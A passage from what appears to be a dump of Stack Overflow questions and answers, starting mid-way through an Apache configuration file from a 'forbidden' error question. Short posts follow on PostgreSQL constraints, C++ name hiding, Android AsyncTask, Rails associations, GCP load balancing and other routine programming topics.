(unsigned)Group is above 60000; # don't use Group #-1 on these systems! # User apache Group apache ### Section 2: 'Main' server configuration # # The directives in this section set up the values used by the 'main' # server, which responds to any requests that aren't handled by a # &lt;VirtualHost&gt; definition. These values also provide defaults for # any &lt;VirtualHost&gt; containers you may define later in the file. # # All of these directives may appear inside &lt;VirtualHost&gt; containers, # in which case these default settings will be overridden for the # virtual host being defined. # # # ServerAdmin: Your address, where problems with the server should be # e-mailed. This address appears on some server-generated pages, such # as error documents. e.g. admin@your-domain.com # ServerAdmin root@localhost UseCanonicalName Off # # DocumentRoot: The directory out of which you will serve your # documents. By default, all requests are taken from this directory, but # symbolic links and aliases may be used to point to other locations. # DocumentRoot "/var/www/html" # # Each directory to which Apache has access can be configured with respect # to which services and features are allowed and/or disabled in that # directory (and its subdirectories). # # First, we configure the "default" to be a very restrictive set of # features. # &lt;Directory /&gt; Options FollowSymLinks AllowOverride None &lt;/Directory&gt; # # Note that from this point forward you must specifically allow # particular features to be enabled - so if something's not working as # you might expect, make sure that you have specifically enabled it # below. # # # This should be changed to whatever you set DocumentRoot to. # &lt;Directory "/var/www/html"&gt; # # Possible values for the Options directive are "None", "All", # or any combination of: # Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews # # Note that "MultiViews" must be named *explicitly* --- "Options All" # doesn't give it to you. # # The Options directive is both complicated and important. Please see # http://httpd.apache.org/docs/2.2/mod/core.html#options # for more information. # Options Indexes FollowSymLinks # # AllowOverride controls what directives may be placed in .htaccess files. # It can be "All", "None", or any combination of the keywords: # Options FileInfo AuthConfig Limit # AllowOverride None # # Controls who can get stuff from this server. # Order allow,deny Allow from all &lt;/Directory&gt; # # UserDir: The name of the directory that is appended onto a user's home # directory if a ~user request is received. # # The path to the end user account 'public_html' directory must be # accessible to the webserver userid. This usually means that ~userid # must have permissions of 711, ~userid/public_html must have permissions # of 755, and documents contained therein must be world-readable. # Otherwise, the client will only receive a "403 Forbidden" message. # # See also: http://httpd.apache.org/docs/misc/FAQ.html#forbidden # &lt;IfModule mod_userdir.c&gt; # # UserDir is disabled by default since it can confirm the presence # of a username on the system (depending on home directory # permissions). # UserDir disabled # # To enable requests to /~user/ to serve the user's public_html # directory, remove the "UserDir disabled" line above, and uncomment # the following line instead: # #UserDir public_html &lt;/IfModule&gt; # # Control access to UserDir directories. The following is an example # for a site where these directories are restricted to read-only. # #&lt;Directory /home/*/public_html&gt; # AllowOverride FileInfo AuthConfig Limit # Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec # &lt;Limit GET POST OPTIONS&gt; # Order allow,deny # Allow from all # &lt;/Limit&gt; # &lt;LimitExcept GET POST OPTIONS&gt; # Order deny,allow # Deny from all # &lt;/LimitExcept&gt; #&lt;/Directory&gt; # # DirectoryIndex: sets the file that Apache will serve if a directory # is requested. # # The index.html.var file (a type-map) is used to deliver content- # negotiated documents. The MultiViews Option can be used for the # same purpose, but it is much slower. # DirectoryIndex index.php # # AccessFileName: The name of the file to look for in each directory # for additional configuration directives. See also the AllowOverride # directive. # AccessFileName .htaccess # # The following lines prevent .htaccess and .htpasswd files from being # viewed by Web clients. # &lt;Files ~ "^\.ht"&gt; Order allow,deny Deny from all Satisfy All &lt;/Files&gt; # # TypesConfig describes where the mime.types file (or equivalent) is # to be found. # TypesConfig /etc/mime.types # # DefaultType is the default MIME type the server will use for a document # if it cannot otherwise determine one, such as from filename extensions. # If your server contains mostly text or HTML documents, "text/plain" is # a good value. If most of your content is binary, such as applications # or images, you may want to use "application/octet-stream" instead to # keep browsers from trying to display binary files as though they are # text. # DefaultType text/plain # # The mod_mime_magic module allows the server to use various hints from the # contents of the file itself to determine its type. The MIMEMagicFile # directive tells the module where the hint definitions are located. # &lt;IfModule mod_mime_magic.c&gt; # MIMEMagicFile /usr/share/magic.mime MIMEMagicFile conf/magic &lt;/IfModule&gt; # # HostnameLookups: Log the names of clients or just their IP addresses # e.g., www.apache.org (on) or 204.62.129.132 (off). # The default is off because it'd be overall better for the net if people # had to knowingly turn this feature on, since enabling it means that # each client request will result in AT LEAST one lookup request to the # nameserver. # HostnameLookups Off # # EnableMMAP: Control whether memory-mapping is used to deliver # files (assuming that the underlying OS supports it). # The default is on; turn this off if you serve from NFS-mounted # filesystems. On some systems, turning it off (regardless of # filesystem) can improve performance; for details, please see # http://httpd.apache.org/docs/2.2/mod/core.html#enablemmap # #EnableMMAP off # # EnableSendfile: Control whether the sendfile kernel support is # used to deliver files (assuming that the OS supports it). # The default is on; turn this off if you serve from NFS-mounted # filesystems. Please see # http://httpd.apache.org/docs/2.2/mod/core.html#enablesendfile # #EnableSendfile off # # ErrorLog: The location of the error log file. # If you do not specify an ErrorLog directive within a &lt;VirtualHost&gt; # container, error messages relating to that virtual host will be # logged here. If you *do* define an error logfile for a &lt;VirtualHost&gt; # container, that host's errors will be logged there and not here. # ErrorLog logs/error_log # # LogLevel: Control the number of messages logged to the error_log. # Possible values include: debug, info, notice, warn, error, crit, # alert, emerg. # LogLevel warn # # The following directives define some format nicknames for use with # a CustomLog directive (see below). # LogFormat "%h %l %u %t \"%r\" %&gt;s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %&gt;s %b" common LogFormat "%{Referer}i -&gt; %U" referer LogFormat "%{User-agent}i" agent # "combinedio" includes actual counts of actual bytes received (%I) and sent (%O); this # requires the mod_logio module to be loaded. #LogFormat "%h %l %u %t \"%r\" %&gt;s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio # # The location and format of the access logfile (Common Logfile Format). # If you do not define any access logfiles within a &lt;VirtualHost&gt; # container, they will be logged here. Contrariwise, if you *do* # define per-&lt;VirtualHost&gt; access logfiles, transactions will be # logged therein and *not* in this file. # #CustomLog logs/access_log common # # If you would like to have separate agent and referer logfiles, uncomment # the following directives. # #CustomLog logs/referer_log referer #CustomLog logs/agent_log agent # # For a single logfile with access, agent, and referer information # (Combined Logfile Format), use the following directive: # CustomLog logs/access_log combined # # Optionally add a line containing the server version and virtual host # name to server-generated pages (internal error documents, FTP directory # listings, mod_status and mod_info output etc., but not CGI generated # documents or custom error documents). # Set to "EMail" to also include a mailto: link to the ServerAdmin. # Set to one of: On | Off | EMail # ServerSignature Off # # Aliases: Add here as many aliases as you need (with no limit). The format is # Alias fakename realname # # Note that if you include a trailing / on fakename then the server will # require it to be present in the URL. So "/icons" isn't aliased in this # example, only "/icons/". If the fakename is slash-terminated, then the # realname must also be slash terminated, and if the fakename omits the # trailing slash, the realname must also omit it. # # We include the /icons/ alias for FancyIndexed directory listings. If you # do not use FancyIndexing, you may comment this out. # Alias /icons/ "/var/www/icons/" &lt;Directory "/var/www/icons"&gt; Options Indexes FollowSymLinks Includes ExecCGI AllowOverride All Require all granted &lt;/Directory&gt; # # WebDAV module configuration section. # &lt;IfModule mod_dav_fs.c&gt; # Location of the WebDAV lock database. DAVLockDB /var/lib/dav/lockdb &lt;/IfModule&gt; # # ScriptAlias: This controls which directories contain server scripts. # ScriptAliases are essentially the same as Aliases, except that # documents in the realname directory are treated as applications and # run by the server when requested rather than as documents sent to the client. # The same rules about trailing "/" apply to ScriptAlias directives as to # Alias. # ScriptAlias /cgi-bin/ "/var/www/cgi-bin/" # # "/var/www/cgi-bin" should be changed to whatever your ScriptAliased # CGI directory exists, if you have that configured. # &lt;Directory "/var/www/cgi-bin"&gt; AllowOverride None Options None Order allow,deny Allow from all &lt;/Directory&gt; # # Redirect allows you to tell clients about documents which used to exist in # your server's namespace, but do not anymore. This allows you to tell the # clients where to look for the relocated document. # Example: # Redirect permanent /foo http://www.example.com/bar # # Directives controlling the display of server-generated directory listings. # # # IndexOptions: Controls the appearance of server-generated directory # listings. # IndexOptions FancyIndexing VersionSort NameWidth=* HTMLTable Charset=UTF-8 # # AddIcon* directives tell the server which icon to show for different # files or filename extensions. These are only displayed for # FancyIndexed directories. # AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip AddIconByType (TXT,/icons/text.gif) text/* AddIconByType (IMG,/icons/image2.gif) image/* AddIconByType (SND,/icons/sound2.gif) audio/* AddIconByType (VID,/icons/movie.gif) video/* AddIcon /icons/binary.gif .bin .exe AddIcon /icons/binhex.gif .hqx AddIcon /icons/tar.gif .tar AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip AddIcon /icons/a.gif .ps .ai .eps AddIcon /icons/layout.gif .html .shtml .htm .pdf AddIcon /icons/text.gif .txt AddIcon /icons/c.gif .c AddIcon /icons/p.gif .pl .py AddIcon /icons/f.gif .for AddIcon /icons/dvi.gif .dvi AddIcon /icons/uuencoded.gif .uu AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl AddIcon /icons/tex.gif .tex AddIcon /icons/bomb.gif core AddIcon /icons/back.gif .. AddIcon /icons/hand.right.gif README AddIcon /icons/folder.gif ^^DIRECTORY^^ AddIcon /icons/blank.gif ^^BLANKICON^^ # # DefaultIcon is which icon to show for files which do not have an icon # explicitly set. # DefaultIcon /icons/unknown.gif # # AddDescription allows you to place a short description after a file in # server-generated indexes. These are only displayed for FancyIndexed # directories. # Format: AddDescription "description" filename # #AddDescription "GZIP compressed document" .gz #AddDescription "tar archive" .tar #AddDescription "GZIP compressed tar archive" .tgz # # ReadmeName is the name of the README file the server will look for by # default, and append to directory listings. # # HeaderName is the name of a file which should be prepended to # directory indexes. ReadmeName README.html HeaderName HEADER.html # # IndexIgnore is a set of filenames which directory indexing should ignore # and not include in the listing. Shell-style wildcarding is permitted. # IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t # # DefaultLanguage and AddLanguage allows you to specify the language of # a document. You can then use content negotiation to give a browser a # file in a language the user can understand. # # Specify a default language. This means that all data # going out without a specific language tag (see below) will # be marked with this one. You probably do NOT want to set # this unless you are sure it is correct for all cases. # # * It is generally better to not mark a page as # * being a certain language than marking it with the wrong # * language! # # DefaultLanguage nl # # Note 1: The suffix does not have to be the same as the language # keyword --- those with documents in Polish (whose net-standard # language code is pl) may wish to use "AddLanguage pl .po" to # avoid the ambiguity with the common suffix for perl scripts. # # Note 2: The example entries below illustrate that in some cases # the two character 'Language' abbreviation is not identical to # the two character 'Country' code for its country, # E.g. 'Danmark/dk' versus 'Danish/da'. # # Note 3: In the case of 'ltz' we violate the RFC by using a three char # specifier. There is 'work in progress' to fix this and get # the reference data for rfc1766 cleaned up. # # Catalan (ca) - Croatian (hr) - Czech (cs) - Danish (da) - Dutch (nl) # English (en) - Esperanto (eo) - Estonian (et) - French (fr) - German (de) # Greek-Modern (el) - Hebrew (he) - Italian (it) - Japanese (ja) # Korean (ko) - Luxembourgeois* (ltz) - Norwegian Nynorsk (nn) # Norwegian (no) - Polish (pl) - Portugese (pt) # Brazilian Portuguese (pt-BR) - Russian (ru) - Swedish (sv) # Simplified Chinese (zh-CN) - Spanish (es) - Traditional Chinese (zh-TW) # AddLanguage ca .ca AddLanguage cs .cz .cs AddLanguage da .dk AddLanguage de .de AddLanguage el .el AddLanguage en .en AddLanguage eo .eo AddLanguage es .es AddLanguage et .et AddLanguage fr .fr AddLanguage he .he AddLanguage hr .hr AddLanguage it .it AddLanguage ja .ja AddLanguage ko .ko AddLanguage ltz .ltz AddLanguage nl .nl AddLanguage nn .nn AddLanguage no .no AddLanguage pl .po AddLanguage pt .pt AddLanguage pt-BR .pt-br AddLanguage ru .ru AddLanguage sv .sv AddLanguage zh-CN .zh-cn AddLanguage zh-TW .zh-tw # # LanguagePriority allows you to give precedence to some languages # in case of a tie during content negotiation. # # Just list the languages in decreasing order of preference. We have # more or less alphabetized them here. You probably want to change this. # LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no pl pt pt-BR ru sv zh-CN zh-TW # # ForceLanguagePriority allows you to serve a result page rather than # MULTIPLE CHOICES (Prefer) [in case of a tie] or NOT ACCEPTABLE (Fallback) # [in case no accepted languages matched the available variants] # ForceLanguagePriority Prefer Fallback # # Specify a default charset for all content served; this enables # interpretation of all content as UTF-8 by default. To use the # default browser choice (ISO-8859-1), or to allow the META tags # in HTML content to override this choice, comment out this # directive: # AddDefaultCharset UTF-8 # # AddType allows you to add to or override the MIME configuration # file mime.types for specific file types. # #AddType application/x-tar .tgz # # AddEncoding allows you to have certain browsers uncompress # information on the fly. Note: Not all browsers support this. # Despite the name similarity, the following Add* directives have nothing # to do with the FancyIndexing customization directives above. # #AddEncoding x-compress .Z #AddEncoding x-gzip .gz .tgz # If the AddEncoding directives above are commented-out, then you # probably should define those extensions to indicate media types: # AddType application/x-compress .Z AddType application/x-gzip .gz .tgz # # MIME-types for downloading Certificates and CRLs # AddType application/x-x509-ca-cert .crt AddType application/x-pkcs7-crl .crl # # AddHandler allows you to map certain file extensions to "handlers": # actions unrelated to filetype. These can be either built into the server # or added with the Action directive (see below) # # To use CGI scripts outside of ScriptAliased directories: # (You will also need to add "ExecCGI" to the "Options" directive.) # #AddHandler cgi-script .cgi # # For files that include their own HTTP headers: # #AddHandler send-as-is asis # # For type maps (negotiated resources): # (This is enabled by default to allow the Apache "It Worked" page # to be distributed in multiple languages.) # AddHandler type-map var # # Filters allow you to process content before it is sent to the client. # # To parse .shtml files for server-side includes (SSI): # (You will also need to add "Includes" to the "Options" directive.) # AddType text/html .shtml AddOutputFilter INCLUDES .shtml # # Action lets you define media types that will execute a script whenever # a matching file is called. This eliminates the need for repeated URL # pathnames for oft-used CGI file processors. # Format: Action media/type /cgi-script/location # Format: Action handler-name /cgi-script/location # # # Customizable error responses come in three flavors: # 1) plain text 2) local redirects 3) external redirects # # Some examples: #ErrorDocument 500 "The server made a boo boo." #ErrorDocument 404 /missing.html #ErrorDocument 404 "/cgi-bin/missing_handler.pl" #ErrorDocument 402 http://www.example.com/subscription_info.html # # # Putting this all together, we can internationalize error responses. # # We use Alias to redirect any /error/HTTP_&lt;error&gt;.html.var response to # our collection of by-error message multi-language collections. We use # includes to substitute the appropriate text. # # You can modify the messages' appearance without changing any of the # default HTTP_&lt;error&gt;.html.var files by adding the line: # # Alias /error/include/ "/your/include/path/" # # which allows you to create your own set of files by starting with the # /var/www/error/include/ files and # copying them to /your/include/path/, even on a per-VirtualHost basis. # Alias /error/ "/var/www/error/" &lt;IfModule mod_negotiation.c&gt; &lt;IfModule mod_include.c&gt; &lt;Directory "/var/www/error"&gt; AllowOverride None Options IncludesNoExec AddOutputFilter Includes html AddHandler type-map var Order allow,deny Allow from all LanguagePriority en es de fr ForceLanguagePriority Prefer Fallback &lt;/Directory&gt; # ErrorDocument 400 /error/HTTP_BAD_REQUEST.html.var # ErrorDocument 401 /error/HTTP_UNAUTHORIZED.html.var # ErrorDocument 403 /error/HTTP_FORBIDDEN.html.var # ErrorDocument 404 /error/HTTP_NOT_FOUND.html.var # ErrorDocument 405 /error/HTTP_METHOD_NOT_ALLOWED.html.var # ErrorDocument 408 /error/HTTP_REQUEST_TIME_OUT.html.var # ErrorDocument 410 /error/HTTP_GONE.html.var # ErrorDocument 411 /error/HTTP_LENGTH_REQUIRED.html.var # ErrorDocument 412 /error/HTTP_PRECONDITION_FAILED.html.var # ErrorDocument 413 /error/HTTP_REQUEST_ENTITY_TOO_LARGE.html.var # ErrorDocument 414 /error/HTTP_REQUEST_URI_TOO_LARGE.html.var # ErrorDocument 415 /error/HTTP_UNSUPPORTED_MEDIA_TYPE.html.var # ErrorDocument 500 /error/HTTP_INTERNAL_SERVER_ERROR.html.var # ErrorDocument 501 /error/HTTP_NOT_IMPLEMENTED.html.var # ErrorDocument 502 /error/HTTP_BAD_GATEWAY.html.var # ErrorDocument 503 /error/HTTP_SERVICE_UNAVAILABLE.html.var # ErrorDocument 506 /error/HTTP_VARIANT_ALSO_VARIES.html.var &lt;/IfModule&gt; &lt;/IfModule&gt; # # The following directives modify normal HTTP response behavior to # handle known problems with browser implementations. # BrowserMatch "Mozilla/2" nokeepalive BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0 BrowserMatch "RealPlayer 4\.0" force-response-1.0 BrowserMatch "Java/1\.0" force-response-1.0 BrowserMatch "JDK/1\.0" force-response-1.0 # # The following directive disables redirects on non-GET requests for # a directory that does not include the trailing slash. This fixes a # problem with Microsoft WebFolders which does not appropriately handle # redirects for folders with DAV methods. # Same deal with Apple's DAV filesystem and Gnome VFS support for DAV. # BrowserMatch "Microsoft Data Access Internet Publishing Provider" redirect-carefully BrowserMatch "MS FrontPage" redirect-carefully BrowserMatch "^WebDrive" redirect-carefully BrowserMatch "^WebDAVFS/1.[0123]" redirect-carefully BrowserMatch "^gnome-vfs/1.0" redirect-carefully BrowserMatch "^XML Spy" redirect-carefully BrowserMatch "^Dreamweaver-WebDAV-SCM1" redirect-carefully </code></pre> <p>My index.php is in <code>/var/www/html/</code> and it just gives me "forbidden".</p>
34659567	0	 <p>You have to enable the "USB Debugging Mode" after enabling "Developer Options</p> <p>Check this post for more details :: <a href="http://stackoverflow.com/questions/18103117/how-to-enable-usb-debugging-in-android">Enabling USB Debugging Mode</a></p>
13126961	0	 <p>Alright, I found out that the problem was in another function that was still expecting the dictionary to be a list. The reason I couldn't see it right away is that Django left a very cryptic error message. I was able to get a better one using <code>python manage.py shell</code> and importing the module manually.</p> <p>Thanks for your help everyone.</p>
13700284	0	How do I implement circular constraints in PostgreSQL? <p>I want to enforce that a row in one table must have a matching row in another table, and vice versa. I'm currently doing it like this to work around the fact that you can't REFERENCE a table that hasn't been created yet. Is there a more natural way that I'm not aware of?</p> <pre><code>CREATE TABLE LE (id int PRIMARY KEY); CREATE TABLE LE_TYP (id int PRIMARY KEY, typ text); ALTER TABLE LE ADD CONSTRAINT twowayref FOREIGN KEY (id) REFERENCES LE_TYP (id) DEFERRABLE INITIALLY DEFERRED; ALTER TABLE LE_TYP ADD CONSTRAINT twowayref_rev FOREIGN KEY (id) REFERENCES LE (id) DEFERRABLE INITIALLY DEFERRED; </code></pre>
19199631	0	 <p>It looks like your jQuery is referencing files of a different casing than what is on the server.</p> <p>For example, your jQuery reads:</p> <pre><code>$(this).attr("src","images/abouthover.jpg"); </code></pre> <p>However, the file on the site is listed as images/abouthover.JPG</p> <p>If you alter your jQuery to:</p> <pre><code>$(this).attr("src","images/abouthover.JPG"); </code></pre> <p>Or change your file name for the file to images/abouthover.jpg</p> <p>Your code should work.</p> <p>My guess as to why it works on your computer but not on your hosted site is that your personal computer is a windows machine which is not case specific whereas your hosting server is a Unix machine which IS case specific.</p> <p>I hope this sorts out your issue.</p>
4272965	0	 <p>Try following the manual, it's working great for me:<br> <a href="http://book.cakephp.org/view/1110/Running-Shells-as-cronjobs" rel="nofollow">http://book.cakephp.org/view/1110/Running-Shells-as-cronjobs</a></p>
38985318	0	HTTP Load Balancer ClientIP affinity not working <p>I can't seem to get the session affinity behavior in the GCP load balancer to work properly. My test has been as follows:</p> <ul> <li>I have a Container Engine cluster with 2 node pools (different zones) with 2 nodes each.</li> <li>I have a deployment which is set to replica: 8, and it's (almost) evenly spread between the 4 nodes.</li> <li><p>I have a service exposed as follows (ips redacted)</p> <pre><code>Name: svc-foo Namespace: default Labels: app=foo Selector: app=foo Type: NodePort IP: .... Port: &lt;unset&gt; 8080/TCP NodePort: &lt;unset&gt; 31015/TCP Endpoints: ...:8080,...:8080,...:8080 + 5 more... Session Affinity: ClientIP No events. </code></pre></li> <li>I have a load balancer with a backend service that has 2 backends pointed at port 31015. It has a healthcheck which passes and a route to get to that backend service.</li> <li>Finally, I have the Session affinity set to ClientIP on that backend service as well.</li> </ul> <p>After curling a route and checking the logs in stackdriver, I see <code>container.googleapis.com/pod_name:</code> in the metadata of the logs with a bunch of different pod names. In the Kubernetes ui, I also see that all the pods have a little cpu spike, indicating I'm alternating and hitting each one. A weird part is that in GCP, when I look at the monitoring of the backend service, the graph shows me requests per second only to one of the pools (even though the logs and cpu graphs from k8s show the other pool being hit as well).</p>
2068088	0	C++ method only visible when object cast to base class? <p>It must be something specific in my code, which I can't post. But maybe someone can suggest possible causes.</p> <p>Basically I have:</p> <pre><code>class CParent { public: void doIt(int x); }; class CChild : public CParent { public: void doIt(int x,int y,int z); }; CChild *pChild = ... pChild-&gt;doIt(123); //FAILS compiler, no method found CParent *pParent = pChild; pParent-&gt;doIt(123); //works fine </code></pre> <p>How on earth?</p> <p>EDIT: people are talking about shadowing/hiding. But the two versions of doIt have different numbers of parameters. Surely that can't confuse the compiler, overloads in child class which can't possibly be confused with the parent class version? Can it?</p> <p>The compiler error I get is: <strong>error C2660: 'CChild::doIt' : function does not take 1 argument</strong></p>
27794841	0	 <p>try like this</p> <pre><code>CREATE OR REPLACE FUNCTION truncate_schema(_schema character varying) RETURNS void AS $BODY$ declare selectrow record; begin for selectrow in select 'TRUNCATE TABLE ' || quote_ident(_schema) || '.' ||quote_ident(t.table_name) || ' CASCADE;' as qry from ( SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE' AND table_schema = _schema )t loop execute selectrow.qry; end loop; end; $BODY$ LANGUAGE plpgsql </code></pre>
22467631	0	 <p>as far as I know, you shouldnt create two body tags. Instead in a body you can add two tags, and and put your contents inside divs. If you want to round the border of divs, you should use some css code.</p> <pre><code> &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;style&gt; #up { border:2px solid #a1a1a1; padding:10px 40px; background:#dddddd; width:90%; margin:5px; border-bottom-left-radius:2em; border-bottom-right-radius:2em; } #down { border:2px solid #a1a1a1; padding:10px 40px; margin:5px; background:#dddddd; width:90%; border-top-left-radius:2em; border-top-right-radius:2em; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;div id='up'&gt; MAIN PART 1 The border-radius property allows you to add rounded corners to elements. &lt;/div&gt; &lt;div id='down'&gt; MAIN PART 2 The border-radius property allows you to add rounded corners to elements. &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
24720362	0	Splash Screen and Mdi Application c# vs 2010 <p>I have never had the need to create a splash screen and wondered what is the best way to do it.</p> <p>I have an mdi application that when the MDIParent loads it makes few database calls and displays.</p> <p>What I would like to do is </p> <ol> <li>Launch a SplashScreen </li> <li>Mdi Loads in the background and NOT VISIBLE</li> <li>When finish loading splash screen dissapears.</li> </ol> <p>I have done as follows but the problem i have is that the mdi still does the work when the splashscreen dissappears.I want the mdi to be fully loaded once the splash screen is gone.</p> <pre><code> [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); var splashForm = new SplashFormView(); splashForm.IntervalTime = 5000; --prop to decide how long the splashScreen should display splashForm.ShowDialog(); SetupUnityContainer(); } private static void SetupUnityContainer() { using (IUnityContainer container = new UnityContainer()) { container.RegisterType&lt;IMyService2, MyService2&gt;(); Application.Run(container.Resolve&lt;MdiParent&gt;()); } } </code></pre> <p>Should run the splashscreen on a background thread? How can I make the MDIForm to be called and not visible till all loaded?</p> <p>Many thanks</p>
16655852	0	 <p>You may be having the same issue as is mentioned here: <a href="http://stackoverflow.com/questions/9471448/android-market-this-item-is-not-compatible-with-your-device/16655736#16655736">Android Market: &quot;This item is not compatible with your device.&quot;</a></p> <p>In a nutshell, for 10 inch tablets, like the Samsung Galaxy Tab, you also have to set <code>xlargeScreens</code> to true.</p> <p>It does appear, as was just mentioned in this discussion by Key, that Google Play recently implemented stricter filtering rules, and this <code>xlargeScreens</code> may be just one example.</p>
12184049	0	AsyncTask already started onCreate <p>When I try to execute an AsyncTask from a button click, my app says the task is already started. I don't execute the task anywhere in onCreate or onResume or anything like that. Can a task be started when my activity is created without me executing it programatically? </p> <pre><code> // Login button Button loginButton = (Button) findViewById(R.id.loginBtn); loginButton.setOnClickListener(new Button.OnClickListener() { public void onClick(View v) { loginTask.execute(""); } }); // Background login thread private AsyncTask&lt;Object, String, String&gt; loginTask = new AsyncTask&lt;Object, String, String&gt;(){ @Override protected String doInBackground(Object... arg0) { Log.v(TAG, "Login task started"); LoginManager lm = new LoginManager(); String username = emailText.getText().toString(); String password = passwordText.getText().toString(); loginBundle = new Bundle(); loginBundle.putString(Constants.LOGIN_HANDLER_ID, lm.login(username, password)); loginMessage = Message.obtain(null, 0); loginMessage.setData(loginBundle); loginHandler.sendMessage(loginMessage); return ""; } }; </code></pre> <p>This is the only place I call execute, and it's a button that I'm creating in the onCreate() method. When the task is executed, I get a task already started error.</p> <p>I thought maybe I'm not cancelling the thread correctly, and so I rebooted my Motrola Xoom. I ran the app once the Xoom was started, and I still got this error. What can I do? The app is using Android SDK 8... and I'm running on a Motorola Xoom.</p>
12351210	0	 <p>Use event <a href="https://developer.mozilla.org/en-US/docs/DOM/window.onbeforeunload" rel="nofollow noreferrer">window.onbeforeunload</a>, which fires when the page is unloaded and return string <em>"You have pending unsaved changes. Do you really want to discard them?"</em></p> <p>Browser shows native dialog:</p> <p><img src="https://i.stack.imgur.com/kVQiv.png" alt="enter image description here"></p> <p>This is AFAIK the only way to stop navigation.</p> <p>jsFiddle: <a href="http://jsfiddle.net/phusick/R6EJ3/show/light/" rel="nofollow noreferrer">http://jsfiddle.net/phusick/R6EJ3/show/light/</a></p>
22855351	0	Tasktracker logs <p>when i try to view logs of tasktracker i am facing below error...</p> <p>can any one pls help me out:</p> <blockquote> <p>Network Error (dns_unresolved_hostname) </p> <p>Your requested host "d04-7d-7b-a5-e9-2e.hdfs.target.com" could not be resolved by DNS. </p> <p>For assistance, contact your network support team.</p> <p>Your request was categorized by Blue Coat Web Filter as 'Shopping'. If you wish to question or dispute this result, please click here.</p> </blockquote>
24149039	0	 <p>Give your <code>textarea</code> an id, then access it by its id.</p> <pre><code>&lt;textarea id="text1"&gt;&lt;/textarea&gt; .... WebBrowser1.Document.All("text1").innerText = "New text" </code></pre>
30077324	0	 <p>Assuming your Job can only have one worker that is set when a Proposal is accepted, you'd want something like this:</p> <pre><code>class Job &lt; ActiveRecord::Base belongs_to :poster, class_name: 'User', foreign_key: 'poster_id' belongs_to :worker, class_name: 'User', foreign_key: 'worker_id' has_many :proposals, dependent: :destroy end class User &lt; ActiveRecord::Base has_many :posted_jobs, class_name: 'Job', foreign_key: 'poster_id', dependent: :destroy has_many :current_jobs, class_name: 'Job', foreign_key: 'worker_id' has_many :proposals, through: :jobs end class Proposal &lt; ActiveRecord::Base belongs_to :job belongs_to :user end </code></pre> <p>With this approach, you can get user.posted_jobs and user.current_jobs.</p> <p>See this: <a href="http://stackoverflow.com/questions/5294775/same-model-for-two-belongs-to-associations">Same Model for Two belongs_to Associations</a></p>
5012358	0	 <p>Why do you need to block the button? If it's some kind of evil plot to make developers only use the device for developing, the home button IS important: you must test what happens when the real user do that.</p>
36109267	0	 <p>You're not assigning the event handlers to the <code>BackgroundWorker</code> events:</p> <pre><code> static void Main(string[] args) { worker = new BackgroundWorker(); worker.DoWork += Worker_DoWork; //here worker.ProgressChanged += Worker_ProgressChanged; //and here worker.WorkerReportsProgress = true; worker.RunWorkerAsync(); Console.ReadLine(); } </code></pre> <p>Cheers</p>
33845067	0	Android navigation drawer max number of items <p>What is the max limit for number of items for android navigation drawer?</p>
5356255	0	 <p>Just did an iPhone project hitting a REST service. To consume, try <a href="http://allseeing-i.com/ASIHTTPRequest/" rel="nofollow">asihttprequest</a>. Very good and used by many other apps.</p> <p>How to use it (<a href="http://allseeing-i.com/ASIHTTPRequest/How-to-use" rel="nofollow">examples</a>)</p>
27215030	0	 <pre><code>create table test(year1 int,quarter1 int,sales int) insert into test select 2011 ,1 ,10 UNION ALL select 2011 ,2 ,5 UNION ALL select 2011 ,5 ,30 UNION ALL select 2012 ,4 ,30 UNION ALL select 2012 ,5 ,2 </code></pre> <p>Try this:</p> <pre><code> SELECT a.year1 , a.quarter1 , SUM(b.sales) AS total FROM test a INNER JOIN test b ON a.quarter1 &gt;= b.quarter1 AND a.year1 = b.year1 GROUP BY a.year1 , a.quarter1 ORDER BY a.year1 </code></pre> <p><strong>OUTPUT</strong></p> <pre><code>2011 1 10 2011 2 15 2011 5 45 2012 4 30 2012 5 32 </code></pre>
35982731	0	Qt is there somthing better then QMAKE_POST_LINK for post build actions? <p>In my pro file I do somthing like:</p> <pre><code>QMAKE_POST_LINK += $$QMAKE_COPY $$quote($$PWD/*.xml) $$quote($$OUT_PWD) $$escape_expand(\\n\\t) </code></pre> <p>To copy files into the target area ready for deployment. This could be a default config file or some other resource.</p> <p>When I build the code this works fine, the file is copied. However if I then modify the the config file (lets just call is config.xml) and re-build then since no source files are changed, the build returns "nothing to do ..." and therefore there is no post-linker stage and my updated config.xml file is not copied to the target area.</p> <p>So to test my changes I have to modify a source file and then re-build... its a bit annoying and when I forget it often causes a few minutes of wasted time...</p>
4583144	0	 <p>An <code>@</code>, followed by any number of any characters, to the end.</p> <pre><code>result = subject.gsub(/@.*$/, ""). </code></pre>
1667365	0	 <p>As far as I know there is no problems to work with Variant variable type in other languages. But it will be great if you export the same functions for different variable types.</p>
39807070	0	 <p>what about this:</p> <pre><code>$http.post(linkdate).then(function(data) { $scope.response= data.data; }) </code></pre>
21061396	0	 <p>You could use <code>array_map</code> instead of loops and pass-by-reference. You avoid mutation this way. For example:</p> <pre><code>$add = function($x) { return function($y) use($x) { return $x + $y; }; }; $firstArray = array_map($add(3), $firstArray); $secondArray = array_map($add(7), $secondArray); </code></pre>
39468433	0	 <p>I believe the advice was to delete the view on which the timeline is based. That is, if you have All Tasks view with Timeline above it, you need to delete All Tasks view and recreate it.</p>
8547868	0	 <p>You haven't initialized <code>it</code>. Try this:</p> <pre><code>std::vector&lt;Enemy*&gt;::iterator it; for(it=tracked.begin();it!=tracked.end();it++){ (*it)-&gt;update(timeSinceLastFrame); } </code></pre>
